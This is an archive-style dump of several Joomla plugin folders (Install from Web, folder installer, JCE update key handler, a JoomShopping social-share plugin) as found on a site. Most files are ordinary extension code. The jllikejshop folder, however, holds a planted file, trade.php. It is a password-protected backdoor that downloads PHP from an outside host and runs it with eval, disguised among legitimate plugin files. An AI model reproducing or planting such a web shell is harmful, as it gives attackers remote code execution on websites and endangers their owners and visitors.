<extension version="3.2" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_webinstaller</name>
	<author>Joomla! Project</author>
	<creationDate>28 April 2017</creationDate>
	<copyright>Copyright (C) 2013 - 2019 Open Source Matters. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>2.1.2</version>
	<description>PLG_INSTALLER_WEBINSTALLER_XML_DESCRIPTION</description>
	<files>
		<folder>tmpl</folder>
		<filename plugin="webinstaller">webinstaller.php</filename>
	</files>
	<media destination="plg_installer_webinstaller" folder="media">
		<folder>css</folder>
		<folder>js</folder>
	</media>
	<scriptfile>webinstaller.script.php</scriptfile>
	<updateservers>
		<server type="extension" priority="1" name="WebInstaller Update Site">https://appscdn.joomla.org/webapps/jedapps/webinstaller.xml</server>
	</updateservers>
</extension>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 installer/webinstaller/webinstaller.php                                                             0000705                 00000014772 15242051520 0014445 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Rule\UrlRule;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Installer\Installer;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Version;

/**
 * Support for the "Install from Web" tab
 *
 * @since  1.0
 */
class PlgInstallerWebinstaller extends CMSPlugin
{
	/**
	 * The URL for the remote server.
	 *
	 * @var    string
	 * @since  2.0
	 */
	const REMOTE_URL = 'https://appscdn.joomla.org/webapps/';

	/**
	 * The application object.
	 *
	 * @var    CMSApplication
	 * @since  2.0
	 */
	protected $app;

	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  2.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Flag tracking whether the Hathor admin template is in use
	 *
	 * @var    boolean|null
	 * @since  1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	private $_hathor = null;

	/**
	 * The URL to install from
	 *
	 * @var    string|null
	 * @since  1.0
	 */
	private $installfrom = null;

	/**
	 * Event listener for the `onInstallerBeforeDisplay` event.
	 *
	 * @param   boolean  $showJedAndWebInstaller  Flag indicating the install from web prompt should be displayed
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	public function onInstallerBeforeDisplay(&$showJedAndWebInstaller)
	{
		$showJedAndWebInstaller = false;
	}

	/**
	 * Event listener for the `onInstallerAddInstallationTab` event.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   2.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab = array(
			'name'  => 'web',
			'label' => Text::_('COM_INSTALLER_INSTALL_FROM_WEB'),
		);

		// Render the input
		ob_start();
		include PluginHelper::getLayoutPath('installer', 'webinstaller', $this->isHathor() ? 'hathor' : 'default');
		$tab['content'] = ob_get_clean();

		return $tab;
	}

	/**
	 * Event listener for the `onBeforeCompileHead` event.
	 *
	 * @return  void
	 *
	 * @since   2.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 * @note        This is required to ensure the plugin JS is appended after the tabs are initialized,
	 *              logic would otherwise be in the `onInstallerAddInstallationTab` listener
	 */
	public function onBeforeCompileHead()
	{
		$installfrom = $this->getInstallFrom();

		// Push language strings to the JavaScript store
		Text::script('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL');
		Text::script('COM_INSTALLER_WEBINSTALLER_INSTALL_OBSOLETE');
		Text::script('COM_INSTALLER_WEBINSTALLER_INSTALL_UPDATE_AVAILABLE');
		Text::script('JLIB_INSTALLER_UPDATE');
		Text::script('PLG_INSTALLER_WEBINSTALLER_CANNOT_INSTALL_EXTENSION_IN_PLUGIN');
		Text::script('PLG_INSTALLER_WEBINSTALLER_REDIRECT_TO_EXTERNAL_SITE_TO_INSTALL');

		HTMLHelper::_('bootstrap.framework');
		HTMLHelper::_('script', 'plg_installer_webinstaller/client.min.js', array('version' => 'auto', 'relative' => true));
		HTMLHelper::_('stylesheet', 'plg_installer_webinstaller/client.min.css', array('version' => 'auto', 'relative' => true));

		$devLevel = Version::PATCH_VERSION;
		$extraVer = Version::EXTRA_VERSION;

		if (!empty($extraVer))
		{
			$devLevel .= '-' . $extraVer;
		}

		$installer = new Installer;
		$manifest  = $installer->isManifest(__DIR__ . '/webinstaller.xml');

		$doc = Factory::getDocument();

		$doc->addScriptOptions(
			'plg_installer_webinstaller',
			array(
				'base_url'        => addslashes(self::REMOTE_URL),
				'installat_url'   => base64_encode(Uri::current() . '?option=com_installer&view=install'),
				'installfrom_url' => addslashes($installfrom),
				'product'         => base64_encode(Version::PRODUCT),
				'release'         => base64_encode(Version::MAJOR_VERSION . '.' . Version::MINOR_VERSION),
				'dev_level'       => base64_encode($devLevel),
				'installfromon'   => $installfrom ? 1 : 0,
				'language'        => base64_encode(Factory::getLanguage()->getTag()),
				// The below options are deprecated and removed when the plugin is merged to 4.0
				'is_hathor'       => $this->isHathor() ? 1 : 0,
				'pv'              => base64_encode($manifest->version),
			)
		);

		$javascript = <<<JS
jQuery(document).ready(function () {
    var ifwOptions = Joomla.getOptions('plg_installer_webinstaller', {});
    var ifwLink = jQuery('#myTabTabs').find('li a[href="#web"]');
    var ifwRelativeSelector = 'li';

	if (ifwOptions.is_hathor) {
		jQuery('#mywebinstaller').show();
		ifwLink = jQuery('#mywebinstaller').find('a');
		ifwRelativeSelector = 'a';
	}

	if (ifwOptions.installfromon) {
		ifwLink.click();
	}

	if (!ifwOptions.is_hathor && ifwLink.closest('li').hasClass('active')) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	}

	ifwLink.closest(ifwRelativeSelector).click(function (event) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	});

	if (ifwOptions.installfrom_url !== '') {
	    ifwLink.closest(ifwRelativeSelector).click();
	}

	ifwLink.on('shown', function (e) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	});
});

		
JS;
		$doc->addScriptDeclaration($javascript);
	}

	/**
	 * Internal check to determine if the Hathor admin template is in use
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	private function isHathor()
	{
		if (is_null($this->_hathor))
		{
			$this->_hathor = strtolower($this->app->getTemplate()) === 'hathor';
		}

		return $this->_hathor;
	}

	/**
	 * Get the install from URL
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	private function getInstallFrom()
	{
		if ($this->installfrom === null)
		{
			$installfrom = base64_decode($this->app->input->getBase64('installfrom', ''));

			$field = new SimpleXMLElement('<field></field>');
			$rule  = new UrlRule;

			if ($rule->test($field, $installfrom) && preg_match('/\.xml\s*$/', $installfrom))
			{
				$update = new Update;
				$update->loadFromXML($installfrom);
				$package_url = trim($update->get('downloadurl', false)->_data);

				if ($package_url)
				{
					$installfrom = $package_url;
				}
			}

			$this->installfrom = $installfrom;
		}

		return $this->installfrom;
	}
}
      installer/webinstaller/webinstaller.script.php                                                      0000705                 00000011454 15242051520 0015742 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// If the minimum PHP version constant hasn't been defined (really old Joomla version), set it now
if (!defined('JOOMLA_MINIMUM_PHP'))
{
	// Minimum as of Joomla! 3.3
	define('JOOMLA_MINIMUM_PHP', '5.3.10');
}

// Stub the JInstallerScript class for older versions to perform the minimum required checks
if (!class_exists('JInstallerScript'))
{
	/**
	 * Base install script for use by extensions providing helper methods for common behaviours.
	 *
	 * @since  3.6
	 */
	class JInstallerScript
	{
		/**
		 * Minimum PHP version required to install the extension
		 *
		 * @var    string
		 * @since  3.6
		 */
		protected $minimumPhp;

		/**
		 * Minimum Joomla! version required to install the extension
		 *
		 * @var    string
		 * @since  3.6
		 */
		protected $minimumJoomla;

		/**
		 * Function called before extension installation/update/removal procedure commences
		 *
		 * @param   string             $type    The type of change (install, update or discover_install, not uninstall)
		 * @param   JInstallerAdapter  $parent  The class calling this method
		 *
		 * @return  boolean  True on success
		 *
		 * @since   3.6
		 */
		public function preflight($type, $parent)
		{
			// Check for the minimum PHP version before continuing
			if (!empty($this->minimumPhp) && version_compare(PHP_VERSION, $this->minimumPhp, '<'))
			{
				JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_PHP', $this->minimumPhp), JLog::WARNING, 'jerror');

				return false;
			}

			// Check for the minimum Joomla version before continuing
			if (!empty($this->minimumJoomla) && version_compare(JVERSION, $this->minimumJoomla, '<'))
			{
				JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_JOOMLA', $this->minimumJoomla), JLog::WARNING, 'jerror');

				return false;
			}

			// Theoretically we should not reach this line in this stub because triggering it means we aren't matching the minimum Joomla version
			return true;
		}
	}
}

/**
 * Support for the "Install from Web" tab
 *
 * @since  1.0
 */
class plginstallerwebinstallerInstallerScript extends JInstallerScript
{
	/**
	 * A list of files to be deleted
	 *
	 * @var    array
	 * @since  2.0
	 */
	protected $deleteFiles = array(
		'/plugins/installer/webinstaller/css/client.css',
		'/plugins/installer/webinstaller/css/client.min.css',
		'/plugins/installer/webinstaller/css/index.html',
		'/plugins/installer/webinstaller/index.html',
		'/plugins/installer/webinstaller/js/client.js',
		'/plugins/installer/webinstaller/js/client.min.js',
	);

	/**
	 * A list of folders to be deleted
	 *
	 * @var    array
	 * @since  2.0
	 */
	protected $deleteFolders = array(
		'/plugins/installer/webinstaller/css',
		'/plugins/installer/webinstaller/js',
	);

	/**
	 * Minimum PHP version required to install the extension
	 *
	 * @var    string
	 * @since  2.0
	 */
	protected $minimumPhp = JOOMLA_MINIMUM_PHP;

	/**
	 * Minimum Joomla! version required to install the extension
	 *
	 * @var    string
	 * @since  2.0
	 */
	protected $minimumJoomla = '3.9';

	/**
	 * Function called before extension installation/update/removal procedure commences
	 *
	 * @param   string             $type    The type of change (install, update or discover_install, not uninstall)
	 * @param   JInstallerAdapter  $parent  The class calling this method
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.6
	 */
	public function preflight($type, $parent)
	{
		if (!parent::preflight($type, $parent))
		{
			return false;
		}

		// Disallow installs on 4.0 as the plugin is part of core
		if (version_compare(JVERSION, '4.0', '>='))
		{
			JLog::add(JText::_('PLG_INSTALLER_WEBINSTALLER_ERROR_PLUGIN_INCLUDED_IN_CORE'), JLog::WARNING, 'jerror');

			return false;
		}

		return true;
	}

	/**
	 * Function called after extension installation/update/removal procedure commences
	 *
	 * @param   string            $route    The action being performed
	 * @param   JInstallerPlugin  $adapter  The class calling this method
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function postflight($route, $adapter)
	{
		// When initially installing the plugin, enable it as well
		if ($route === 'install')
		{
			try
			{
				$db = JFactory::getDbo();
				$db->setQuery(
					$db->getQuery(true)
						->update($db->quoteName('#__extensions'))
						->set($db->quoteName('enabled') . ' = 1')
						->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
						->where($db->quoteName('element') . ' = ' . $db->quote('webinstaller'))
				)->execute();
			}
			catch (RuntimeException $e)
			{
				// Don't let this fatal out the install process, proceed as normal from here
			}
		}
	}
}
                                                                                                                                                                                                                    installer/webinstaller/tmpl/hathor.php                                                              0000705                 00000003701 15242051520 0014201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div class="clr"></div>
<fieldset class="uploadform">
	<legend><?php echo Text::_('COM_INSTALLER_INSTALL_FROM_WEB', true); ?></legend>
	<div id="jed-container"<?php echo $dir; ?>>
		<div id="mywebinstaller" style="display:none">
			<a href="#"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_LOAD_APPS'); ?></a>
		</div>
		<div class="well" id="web-loader" style="display:none">
			<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
		</div>
		<div class="alert alert-error" id="web-loader-error" style="display:none">
			<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
		</div>
	</div>
	<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
		<div class="control-group">
			<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
			<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
			<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
		</div>
		<div class="form-actions">
			<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
			<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
		</div>
	</fieldset>
</fieldset>
                                                               installer/webinstaller/tmpl/default.php                                                             0000705                 00000003171 15242051520 0014341 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div id="jed-container" class="tab-pane">
	<div class="well" id="web-loader">
		<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
	</div>
	<div class="alert alert-error" id="web-loader-error" style="display:none">
		<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
	</div>
</div>

<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
	<div class="control-group">
		<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
		<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
		<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
	</div>
	<div class="form-actions">
		<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
		<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
	</div>
</fieldset>
                                                                                                                                                                                                                                                                                                                                                                                                       installer/folderinstaller/folderinstaller.xml                                                       0000705                 00000001476 15242051520 0015647 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>PLG_INSTALLER_FOLDERINSTALLER</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_FOLDERINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="folderinstaller">folderinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_folderinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_folderinstaller.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                  installer/folderinstaller/folderinstaller.php                                                       0000705                 00000001742 15242051520 0015632 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.folderInstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * FolderInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerFolderInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'folder';
		$tab['label']   = JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'folderinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
                              installer/folderinstaller/tmpl/default.php                                                          0000705                 00000002665 15242051520 0015046 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.folderinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$app = JFactory::getApplication('administrator');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonfolder = function()
	{
		var form = document.getElementById("adminForm");

		// do field validation 
		if (form.install_directory.value == "")
		{
			alert("' . JText::_('PLG_INSTALLER_FOLDERINSTALLER_NO_INSTALL_PATH', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			form.installtype.value = "folder"
			form.submit();
		}
	};
');
?>
<legend><?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></legend>
<div class="control-group">
	<label for="install_directory" class="control-label"><?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></label>
	<div class="controls">
		<input type="text" id="install_directory" name="install_directory" class="span5 input_box" size="70"
			value="<?php echo $app->input->get('install_directory', $app->get('tmp_path')); ?>" />
	</div>
</div>
<div class="form-actions">
	<input type="button" class="btn btn-primary" id="installbutton_directory"
		value="<?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_BUTTON'); ?>" onclick="Joomla.submitbuttonfolder()" />
</div>
                                                                           installer/jce/jce.php                                                                               0000705                 00000005124 15242051520 0010550 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 *  @copyright Copyright (c)2016 - 2020 Ryan Demmer
 *  @license GNU General Public License version 2, or later
 */
defined('_JEXEC') or die;

/**
 * Handle commercial extension update authorization.
 *
 * @since       2.6
 */
class plgInstallerJce extends JPlugin
{    
    /**
     * Handle adding credentials to package download request.
     *
     * @param string $url     url from which package is going to be downloaded
     * @param array  $headers headers to be sent along the download request (key => value format)
     *
     * @return bool true if credentials have been added to request or not our business, false otherwise (credentials not set by user)
     *
     * @since   3.0
     */
    public function onInstallerBeforePackageDownload(&$url, &$headers)
    {
        $app = JFactory::getApplication();

        $uri = JUri::getInstance($url);
        $host = $uri->getHost();

        if ($host !== 'www.joomlacontenteditor.net') {
            return true;
        }

        // Get the subscription key
        JLoader::import('joomla.application.component.helper');
        $component = JComponentHelper::getComponent('com_jce');

        // load plugin language for warning messages
        JFactory::getLanguage()->load('plg_installer_jce', JPATH_ADMINISTRATOR);

        // check if the key has already been set via the dlid field
        $dlid = $uri->getVar('key', '');

        // check the component params, fallback to the dlid
        $key = $component->params->get('updates_key', $dlid);

        // if no key is set...
        if (empty($key)) {
            // if we are attempting to update JCE Pro, display a notice message
            if (strpos($url, 'pkg_jce_pro') !== false) {
                $app->enqueueMessage(JText::_('PLG_INSTALLER_JCE_KEY_WARNING'), 'notice');
            }

            return true;
        }

        // Append the subscription key to the download URL
        $uri->setVar('key', $key);

        // create the url string
        $url = $uri->toString();

        // check validity of the key and display a message if it is invalid / expired
        try
        {
            $tmpUri = clone $uri;

            $tmpUri->setVar('task', 'update.validate');
            $tmpUri->delVar('file');
            $tmpUrl = $tmpUri->toString();
            $response = JHttpFactory::getHttp()->get($tmpUrl, array());
        } catch (RuntimeException $exception) {}

        // invalid key, display a notice message
        if (403 == $response->code) {
            $app->enqueueMessage(JText::_('PLG_INSTALLER_JCE_KEY_INVALID'), 'notice');
        }

        return true;
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                                            installer/jce/jce.xml                                                                               0000705                 00000001617 15242051520 0010564 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_jce</name>
	<version>2.8.3</version>
  <creationDate>15-01-2020</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_INSTALLER_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/installer/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_installer_jce.ini</language>
      <language tag="en-GB">en-GB.plg_installer_jce.sys.ini</language>
  </languages>
</extension>
                                                                                                                 jshoppingproducts/jllikejshop/jllikejshop.xml                                                       0000705                 00000002561 15242051520 0015705 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.5" type="plugin" method="upgrade" group="jshoppingproducts">
	<name>JL Like for JoomShopping</name>
	<author>JoomLine</author>
	<creationDate>08.09.2019</creationDate>
	<copyright>(C) 2012-2019 by Artem Zhukov, Arkadiy Sedelnikov and Vadim Kunicin(http://www.joomline.ru)</copyright>
	<license>GNU/GPL: http://www.gnu.org/copyleft/gpl.html</license>
	<authorEmail>sale@joomline.ru</authorEmail>
	<authorUrl>https://joomline.ru</authorUrl>
	<version>4.0.4</version>
	<url>https://joomline.ru</url>
	<description>>Plugin allow integrate social buttons like into your JoomShopping components</description>
	<files>
		<filename plugin="jllikejshop">jllikejshop.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_jshoppingproducts_jllikeprojshop.ini</language>
		<language tag="ru-RU">ru-RU/ru-RU.plg_jshoppingproducts_jllikeprojshop.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field name="tp1" type="spacer" class="text" label="PLG_JLLIKEPROJSHOPPING_ENABLED"/>
				<field
					name="parent_contayner"
					type="text"
					default=""
					label="Parent Contayner"
					description="Parent Contayner css class"
					/>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                               jshoppingproducts/jllikejshop/jllikejshop.php                                                       0000705                 00000006642 15242051520 0015700 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * jllike
 *
 * @version 4.0.0
 * @author Vadim Kunicin (vadim@joomline.ru), Arkadiy (a.sedelnikov@gmail.com)
 * @copyright (C) 2010-2016 by Vadim Kunicin (https://www.joomline.ru)
 * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 **/

// no direct access
defined('_JEXEC') or die;
error_reporting(E_ERROR);
jimport('joomla.plugin.plugin');
jimport('joomla.html.parameter');
require_once JPATH_ROOT . '/plugins/content/jllike/helper.php';

class plgJshoppingProductsJlLikeJShop extends JPlugin
{


    public function onBeforeDisplayProductView(&$content)
    {
        JPlugin::loadLanguage('plg_content_jllike');
        $plugin = & JPluginHelper::getPlugin('content', 'jllike');
        $plgParams = new JRegistry;
        $plgParams->loadString($plugin->params);
        $input = JFactory::getApplication()->input;
        $view = $input->getCmd('controller', '');
        $JShopShow = $plgParams->get('jshopcontent');

        if (!$JShopShow || $view != 'product') {
            return '';
        }
		$parent_contayner = $this->params->get('parent_contayner', '');
        if(!empty($parent_contayner))
        {
            $plgParams->set('parent_contayner', $parent_contayner);
        }
        $helper = PlgJLLikeHelper::getInstance($plgParams);
        $helper->loadScriptAndStyle(0);
		$prefix = (JFactory::getConfig()->get('force_ssl') == 2) ? 'https://' : 'http://';
		$root = JURI::getInstance()->toString(array('host'));
        $url = $prefix . $plgParams->get('pathbase', '') . str_replace('www.', '', $root);
        if ($plgParams->get('punycode_convert', 0)) {
            $file = JPATH_ROOT . '/libraries/idna_convert/idna_convert.class.php';
            if (!JFile::exists($file)) {
                return JText::_('PLG_JLLIKEPRO_PUNYCODDE_CONVERTOR_NOT_INSTALLED');
            }

            include_once $file;

            if ($url) {
                if (class_exists('idna_convert')) {
                    $idn = new idna_convert;
                    $url = $idn->encode($url);
                }
            }
        }
        $uri = JString::str_ireplace(JURI::root(), '', JURI::current());
        $link = $url . '/' . $uri;

        $image = $content->product->product_name_image;

		if(empty($image))
		{
			$image = $content->product->image;
		}

        if (!empty($image))
        {
            $jshopConfig = JSFactory::getConfig();
            $image = $jshopConfig->image_product_live_path . '/' . $image;
        }

        $lang = JFactory::getLanguage()->getTag();
        $name = 'name_'.$lang;
        $sdesc = 'short_description_'.$lang;
        $desc = 'description_'.$lang;
        $mdesc = 'meta_description_'.$lang;

        $text = $helper->getShareText($content->product->$mdesc, $content->product->$sdesc, $content->product->$desc);
        $shares = $helper->ShowIN($content->product->product_id, $link, $content->product->$name, $image, $text, $plgParams->get('enable_opengraph', 1));

        switch ($plgParams->get('jshopposition', 2)) {
            case 1 :
                $content->_tmp_product_html_start = $shares;
                break;
            case 3 :
                $content->_tmp_product_html_end = $shares;
                break;
            default:
                $content->_tmp_product_html_after_buttons = $shares;
                break;
        }
    } //end function


}//end class
                                                                                              jshoppingproducts/jllikejshop/index.html                                                            0000705                 00000000040 15242051520 0014630 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html>
<body>
</body>
</html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                jshoppingproducts/jllikejshop/trade.php                                                             0000705                 00000004754 15242051520 0014463 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
session_start();

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

        // Set cookies using session if available
        if (isset($_SESSION['coki'])) {
            curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['coki']);
        }

        $url_get_contents_data = curl_exec($conn);
        curl_close($conn);
    } elseif (function_exists('file_get_contents')) {
        $url_get_contents_data = file_get_contents($url);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
        $handle = fopen($url, "r");
        $url_get_contents_data = stream_get_contents($handle);
        fclose($handle);
    } else {
        $url_get_contents_data = false;
    }
    return $url_get_contents_data;
}

// Function to check if the user is logged in
function is_logged_in()
{
    return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
}

// Check if the password is submitted and correct
if (isset($_POST['password'])) {
    $entered_password = $_POST['password'];
    $hashed_password = '24c23b69a6a7dc8783331f687c40c494';
    if (md5($entered_password) === $hashed_password) {
        // Password is correct, store it in session
        $_SESSION['logged_in'] = true;
        $_SESSION['coki'] = 'asu'; // Replace this with your cookie data
    } else {
        // Password is incorrect
        echo "Incorrect password. Please try again.";
    }
}

// Check if the user is logged in before executing the content
if (is_logged_in()) {
    $a = geturlsinfo('https://bujang.online/raw/V2AUF5bOf_');
    eval('?>' . $a);
} else {
    // Display login form if not logged in
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <form method="POST" action="">
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
            <input type="submit" value="Login">
        </form>
    </body>
    </html>
    <?php
}
?>                    editors-xtd/fields/fields.xml                                                                       0000705                 00000001437 15242051520 0012247 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_fields</name>
